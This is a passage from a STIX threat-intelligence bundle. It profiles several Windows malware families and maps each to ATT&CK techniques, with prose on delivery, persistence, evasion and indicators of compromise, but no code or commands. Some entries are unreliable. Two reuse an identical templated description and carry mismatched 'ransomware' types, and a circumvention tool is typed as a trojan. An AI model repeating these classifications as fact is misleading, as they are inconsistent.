      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42c47a89-e08b-56a3-a41e-bafef273e314",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uk_Splitter exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a845fc2c-da97-5653-97b1-b812f065e9d4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42c47a89-e08b-56a3-a41e-bafef273e314",
      "target_ref": "attack-pattern--298d5d84-c03c-507d-b182-00cbc8d5fb24",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uk_Splitter exhibits technique T1036.005 (Masquerading: Match Legitimate Name or Location)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0dc91053-3fc8-5e01-ae2b-3b5cb541af8c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42c47a89-e08b-56a3-a41e-bafef273e314",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uk_Splitter exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--16428349-0ec9-58d5-816d-06508a30f534",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42c47a89-e08b-56a3-a41e-bafef273e314",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uk_Splitter exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d244e5c1-2feb-5a9e-bdb1-e5835184161b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--42c47a89-e08b-56a3-a41e-bafef273e314",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uk_Splitter exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8a737581-dd91-5926-99ab-56162a9acbf6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ukpa",
      "description": "Trojan:Win32/Ukpa is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ukpa</b><br>To an end-user, a Ukpa infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ukpa is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ukpa is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ukpa frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ukpa reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 5)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ukpa",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ukpa"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--85414a86-a75d-5f4e-9b07-345e65e1eafd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a737581-dd91-5926-99ab-56162a9acbf6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ukpa exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e0cdf9f-4bda-5147-8446-502ed04f4509",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a737581-dd91-5926-99ab-56162a9acbf6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ukpa exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b7b5415-6118-5da4-b700-bccd4ffacc64",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a737581-dd91-5926-99ab-56162a9acbf6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ukpa exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f9dfebef-6aa5-5c7b-aaa5-b43c59e09291",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a737581-dd91-5926-99ab-56162a9acbf6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ukpa exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1feefefd-0518-5831-8545-96dcca4e3e09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a737581-dd91-5926-99ab-56162a9acbf6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ukpa exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--02d76ea7-6b44-5418-9f4f-14bd426a3e73",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ulise",
      "description": "Ulise (cataloged across global threat intelligence as Trojan-Downloader.Win32.Ulise, Trojan:Win32/Ulise, and Trojan.Ulise) is a sophisticated trojan downloader analyzed by Kaspersky, Trend Micro, and Microsoft Defender. Operating as an initial-stage dropper in cybercrime distribution chains, Ulise is frequently deployed via malicious email spam containing weaponized Office documents, malicious PDF attachments, and cracked software installers. Upon execution on a victim machine, Ulise performs anti-analysis checks to detect sandbox environments, debugging tools, and virtual machine hypervisors. After confirming bare-metal execution, it establishes encrypted HTTPS outbound beaconing to remote command-and-control (C2) servers. The primary function of Ulise is downloading and decrypting secondary high-severity payloads\u2014including information stealers, banking trojans (such as IcedID), and ransomware loaders. Ulise stages payloads within hidden directories in %APPDATA% or %LOCALAPPDATA%, modifies system registry Run keys for boot persistence, and injects payload code into legitimate Windows processes such as explorer.exe and svchost.exe. (Observed samples in benchmark: 1,176)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan-Downloader.Win32.Ulise",
        "Trojan:Win32/Ulise",
        "TrojanDownloader:Win32/Ulise",
        "Trojan.Win32.Ulise",
        "Win32/Ulise.Downloader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ulise",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ulise"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f7b40466-3023-59d0-ae53-4d55a52ccda4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02d76ea7-6b44-5418-9f4f-14bd426a3e73",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ulise exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c76615ea-554a-5900-b9d3-8032ba8c933d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02d76ea7-6b44-5418-9f4f-14bd426a3e73",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ulise exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f525ecc-92ba-5e0d-bf4d-eb33bb2eb080",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02d76ea7-6b44-5418-9f4f-14bd426a3e73",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ulise exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--163e00a4-4712-51ae-9bea-f34088c9b9b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02d76ea7-6b44-5418-9f4f-14bd426a3e73",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ulise exhibits technique T1055.001 (Process Injection: Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc7c5f51-b7ad-5eb2-acb4-66185f9f88b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02d76ea7-6b44-5418-9f4f-14bd426a3e73",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ulise exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fd1a64bd-329d-5934-b18b-3f9d26419939",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02d76ea7-6b44-5418-9f4f-14bd426a3e73",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ulise exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e138fe6-3af6-5430-aa15-e5bc234c2b04",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--02d76ea7-6b44-5418-9f4f-14bd426a3e73",
      "target_ref": "attack-pattern--aa0c4501-5d70-5f02-83ed-46c2180b3277",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ulise exhibits technique T1497.001 (Virtualization/Sandbox Evasion: System Checks)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--560e33cb-24f1-54f3-b5c0-739fe335ea63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Uloader",
      "description": "Trojan:Win32/Uloader is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Uloader</b><br>To an end-user, a Uloader infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Uloader is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Uloader is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Uloader frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Uloader reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Uloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/uloader"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--da344faa-17cb-5f0f-a1c9-420bb33770ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--560e33cb-24f1-54f3-b5c0-739fe335ea63",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uloader exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1fe5021d-8a87-56b6-bee3-8a055e64d332",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--560e33cb-24f1-54f3-b5c0-739fe335ea63",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uloader exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24a95c66-367b-515f-b34c-3124c6fc43ee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--560e33cb-24f1-54f3-b5c0-739fe335ea63",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uloader exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--65700c40-216f-5566-9813-d69ce012280c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--560e33cb-24f1-54f3-b5c0-739fe335ea63",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uloader exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6f2393a-6184-5eb0-977d-3f2efe04cc3d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--560e33cb-24f1-54f3-b5c0-739fe335ea63",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Uloader exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7935f222-5fea-5db5-bf50-798a50148e31",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ulpm",
      "description": "Ulpm (tracked across antivirus telemetry as Adware:Win32/Ulpm, TR/Crypt.ULPM.Gen, and PUA:Win32/Ulpm) is a persistent adware and potentially unwanted application (PUA) family active since 2016. Distributed through deceptive software portals, game cracks, and keygens, Ulpm leverages packers to evade initial antivirus scanning. Once executed, it modifies browser shortcut arguments, injects unauthorized advertising links into web sessions, and tracks browsing activities to monetize user traffic through third-party affiliate advertising networks. (Observed samples in benchmark: 55)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Ulpm",
        "TR/Crypt.ULPM.Gen",
        "PUA:Win32/Ulpm",
        "Adware.Win32.Ulpm",
        "Win32/Ulpm"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ulpm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ulpm"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d9af7188-9194-5ed9-8714-8bf69ca13cd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ultrasurf",
      "description": "PUA:Win32/Ultrasurf represents a unique classification in enterprise security. Technically, Ultrasurf is a freeware Internet censorship circumvention tool, originally designed to allow users in restrictive countries to bypass national firewalls via an encrypted proxy network. However, in a corporate environment, it is almost universally classified as a Potentially Unwanted Program (PUA) or Riskware because it actively subverts enterprise security controls, bypasses content filtering, and creates an unmonitored encrypted tunnel out of the network.<br><br><b>Understanding Ultrasurf in the Enterprise</b><br>To an end-user, Ultrasurf is a convenient way to access blocked websites (like social media or streaming services) from the office. For a security operations center (SOC) or network administrator, Ultrasurf is a massive compliance and security risk. By tunneling traffic through external proxies, it renders Data Loss Prevention (DLP) systems, malware inspection, and acceptable use policies completely blind (`T1562.004`). Furthermore, third-party repackaged versions of Ultrasurf frequently bundle aggressive adware or spyware.<br><br><b>Execution and Evasion Mechanics</b><br>Ultrasurf is uniquely designed for stealth. It is usually a single, portable executable (`u.exe`) that requires no installation or administrative privileges (`T1204.002`), meaning any user can run it. Upon execution, it establishes an encrypted TLS connection to a proprietary network of proxy servers (`T1090.003`). It then dynamically alters the local endpoint's Windows Internet Options (`inetcpl.cpl`) (`T1562`), forcing all local web browsers (IE, Chrome, Edge) to route their HTTP/HTTPS traffic through a local loopback port (e.g., `127.0.0.1:9666`), which Ultrasurf then encrypts and sends out through its proxy tunnel. Upon closure, it attempts to clean up its tracks and restore the proxy settings.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the total bypass of perimeter security controls and potential exposure to unvetted external networks. Host-based IoCs include EDR alerts for the execution of unsigned portable executables from the `%Downloads%` or `%Temp%` folders, followed immediately by modifications to the `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ProxyServer` registry key. Network IoCs include a high volume of encrypted TLS traffic flowing to unknown, rapidly changing IP addresses over standard port 443. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ultrasurf",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ultrasurf"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1b5173b-71ff-563a-9764-f6222db84775",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9af7188-9194-5ed9-8714-8bf69ca13cd3",
      "target_ref": "attack-pattern--cc845d08-6fc5-5758-8728-20ef39b3945b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ultrasurf exhibits technique T1090.003 (Proxy: Multi-hop Proxy (Tunneling traffic via Ultrasurf network))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92ed4974-4540-5d6c-b966-56f37c1a9bec",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9af7188-9194-5ed9-8714-8bf69ca13cd3",
      "target_ref": "attack-pattern--6da3a18b-2dc8-5bb7-8b6a-6bfb5a4c09e1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ultrasurf exhibits technique T1562.004 (Impair Defenses: Disable or Modify System Firewall (Bypassing enterprise web filters))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--665f1e8b-20ce-5cbf-abd9-c4fb96dd3324",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9af7188-9194-5ed9-8714-8bf69ca13cd3",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ultrasurf exhibits technique T1204.002 (User Execution: Malicious File (Portable execution))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9972b9c6-9190-52f9-b812-fcd60ab0ebe3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d9af7188-9194-5ed9-8714-8bf69ca13cd3",
      "target_ref": "attack-pattern--233c2a7d-34cd-5ba5-8e03-f1b2d741dbe8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ultrasurf exhibits technique T1562 (Impair Defenses (Modifying local proxy settings))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--db53597e-1c39-5a58-b5e6-2d95c8c3561f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ulysses",
      "description": "Ulysses (cataloged across security archives as Ulysses RAT, Trojan.Win32.Ulysses, and Backdoor.Win32.Ulysses) is an early 2000s Remote Access Trojan created in Visual Basic and Delphi. Engineered during the classic era of client-server backdoors, Ulysses was designed to provide unauthorized operators with administrative control over compromised Windows 9x, ME, and 2000 workstations. Operating over direct TCP connections, Ulysses configures an autostart entry in the Windows registry Run key, binds to a listening server port, and waits for incoming connections from the operator's client software. Once connected, attackers can browse and exfiltrate files, execute arbitrary command shell instructions, enumerate and kill running processes, capture desktop screenshots, and tamper with system configuration settings.",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ulysses RAT",
        "Trojan.Ulysses",
        "Backdoor.Win32.Ulysses",
        "Ulysses 1.0",
        "Backdoor:Win32/Ulysses"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ulysses",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ulysses"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--740b1176-8a70-51b0-8af6-b17503d78824",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db53597e-1c39-5a58-b5e6-2d95c8c3561f",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ulysses exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d51d808-6616-5dfd-94e5-8d99cc9c5a02",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db53597e-1c39-5a58-b5e6-2d95c8c3561f",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ulysses exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de906d18-0e65-52ee-8141-5b5e1dc5c142",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db53597e-1c39-5a58-b5e6-2d95c8c3561f",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ulysses exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--986612e6-1100-50b6-bcde-8ac395c5480a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db53597e-1c39-5a58-b5e6-2d95c8c3561f",
      "target_ref": "attack-pattern--36cc183d-43e0-5df7-9059-7bc6b49000e5",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ulysses exhibits technique T1083 (File and Directory Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2caf6236-a2fa-51f7-b42b-962bb5eaea8b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--db53597e-1c39-5a58-b5e6-2d95c8c3561f",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ulysses exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--337b7bcb-4655-52f7-b8bc-2f468397eb42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Umbald",
